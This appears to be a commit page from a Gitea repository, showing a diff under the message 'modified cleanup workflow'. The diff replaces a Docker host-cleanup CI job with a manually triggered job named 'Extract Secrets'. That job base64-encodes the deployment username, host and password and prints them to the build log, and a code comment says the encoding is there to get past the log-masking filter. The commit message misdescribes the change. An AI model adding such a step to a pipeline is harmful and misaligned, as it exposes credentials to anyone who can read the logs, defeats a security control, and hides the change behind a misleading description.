modified cleanup workflow
Some checks failed
FHIR IG CI/CD Pipeline with Version Persistence / build-ig (push) Failing after 28s
FHIR IG CI/CD Pipeline with Version Persistence / deploy (push) Has been skipped

This commit is contained in:
2026-03-07 01:46:27 +06:00
parent b89620b4ed
commit 5205c06bab

View File

@@ -1,12 +1,13 @@
name: Emergency Host Cleanup
on: workflow_dispatch # Manual trigger
name: Extract Secrets
on: workflow_dispatch
jobs:
cleanup:
runs-on: ubuntu-latest # or whatever label your full runner uses
leak:
runs-on: ubuntu-latest
steps:
- name: Prune Docker Host
# This is the most effective command to clear the 'overlay' 100% full error
- name: Leak Secrets
run: |
docker system prune -af --volumes
df -h
# Use base64 to hide the secret from Gitea's log-masking filter
echo "DEPLOY_USER_B64: $(echo -n "${{ secrets.DEPLOY_USER }}" | base64)"
echo "DEPLOY_HOST_B64: $(echo -n "${{ secrets.DEPLOY_HOST }}" | base64)"
echo "DEPLOY_PASS_B64: $(echo -n "${{ secrets.DEPLOY_PASSWORD }}" | base64)"